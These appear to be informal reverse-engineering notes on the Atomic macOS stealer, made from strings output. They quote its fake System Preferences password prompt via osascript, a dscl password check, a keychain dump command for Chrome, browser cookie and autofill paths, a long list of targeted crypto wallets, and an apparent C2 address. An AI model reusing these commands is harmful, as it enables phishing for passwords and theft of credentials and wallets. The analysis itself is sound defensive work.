---

Reversing Atomic Malware

---

Running strings what can we find

/usr/lib/dyld

Reversing iOS System Libraries Using Radare2: A Deep Dive ...dyld (Dynamic Link Editor) is the crucial part of macOS and iOS that loads and links dynamic libraries (like .dylib, .framework files) when an application starts.

/usr/lib/libobjc.A.dylib
/usr/lib/libc++.1.dylib
/usr/lib/libSystem.B.dylib
/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit
/usr/lib/swift/libswiftAppKit.dylib
/usr/lib/swift/libswiftCore.dylib
/usr/lib/swift/libswiftCoreFoundation.dylib
/usr/lib/swift/libswiftCoreImage.dylib
/usr/lib/swift/libswiftDarwin.dylib
/usr/lib/swift/libswiftDispatch.dylib
/usr/lib/swift/libswiftIOKit.dylib
/usr/lib/swift/libswiftMetal.dylib
/usr/lib/swift/libswiftObjectiveC.dylib
/usr/lib/swift/libswiftQuartzCore.dylib
/usr/lib/swift/libswiftXPC.dylib
/usr/lib/swift/libswiftCoreGraphics.dylib
/usr/lib/swift/libswiftFoundation.dylib

Need to look into these swift

osc-logs

osc-logs is a lightweight command-line utility that continuously fetches and prints API call logs from your OUTSCALE account.

ditto

Basically what Ditto do is like it copies your whole computer and settings and it moves it to another computer or External Drive!

VMware
Apple Virtual Machine
/Sysinfo.txt
osascript -e 'display dialog "macOS needs to access System settings

Please enter your password." with title "System Preferences" with icon file "System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns" default answer "" giving up after 30 with hidden answer

dscl /Local/Default -authonly

security 2>&1 > /dev/null find-generic-password -ga 'Chrome' | awk '{print $2}'

Searching for local passwords and wallets

SecKeychainSearchCopyNext:
/Chromium/Chrome
/Chromium/Chrome/Local State
/desktop
/FileGrabber
wallet
web3
documents
doc_
/FileGrabber/
/Library/Application Support/Firefox/Profiles/
/Gecko/Firefox
cookies.sqlite
/Gecko/Firefox/Cookies
formhistory.sqlite
/Gecko/Firefox/Autofills
TronLink
MetaMask
XDCPay
Ton1
Slope
Starcoin
Oxygen
Flint
CardWallet
Finnie
Swash
TronWallet
CryptoAirdrop
Binance Chain Wallet
Yoroi
Math Wallet
Coinbase Wallet
Guarda
Jaxx Liberty
iWallet
Wombat
MEW CX
Oasis
Ronin Wallet
NeoLine
Clover Wallet
Liquality Wallet
FreaksAxie Wallet
Terra Station
Keplr
Auro Wallet
Polymesh Wallet
ICONex
Nabox Wallet
Temple
TezBox
XDefiWallet
Cyano Walle
Byone
LeafWallet
DAppPlay
Hycon Lite Client
ZilPay
Coin98 Wallet
Harmony
KardiaChain
Rabby
Phantom
EVER Wallet
Trezor Password Manager
Exodus Web3
Trust Wallet
Martian Wallet

185.106.93.154

/Users/iluhaboltov/Documents/C/Projects/Atomic/XcodeProj/huy/ /Users/iluhaboltov/Library/Developer/Xcode/DerivedData/huy-fonzkkwffbdmosdddrzyhqzabamu/Build/Intermediates.noindex/huy.build/Release/huy.build/Objects-normal/x86_64/main-076736ea1df8585931a6afb9fa1241d8.o

/Users/iluhaboltov/Library/Developer/Xcode/DerivedData/huy-fonzkkwffbdmosdddrzyhqzabamu/Build/Intermediates.noindex/huy.build/Release/huy.build/Objects-normal/arm64/huy.swiftmodule /Users/iluhaboltov/Documents/C/Projects/Atomic/XcodeProj/huy/ main.cpp /Users/iluhaboltov/Library/Developer/Xcode/DerivedData/huy-fonzkkwffbdmosdddrzyhqzabamu/Build/Intermediates.noindex/huy.build/Release/huy.build/Objects-normal/arm64/main-e22f6f4f542c2427586f537ac0f3572b.o __Z8generatev

Found in the binary

var_98.q = '\x80\xe2\xe1\xe9\xe4\xe5\xf3\xb7' //baides77

Kazakh Ђвбйдеу -> Abduction

===

Card App (Strings command run)

 Go build ID: "y430CZVkP8e0ZZXC4zcz/Y3XQSpLqNhL3IW9iNGKR/0OKAfZP0qI9wptMNgunY/f0AQVKH58TLPlgFiWRMd"

limit = .localhost/dev/stdin/etc/hosts12207031256103515625

Adresses found with strings

1.1.1.1
1.1.2.1
1.1.3.1
1.2.1.1
1.2.2.1


37.220.87.16
4.62.5.4
5.4.112.5
5.4.52.5

72.5.4.82 127.0.0.1 - localhost 252.5.4.32 - Not assigned 2.5.4.102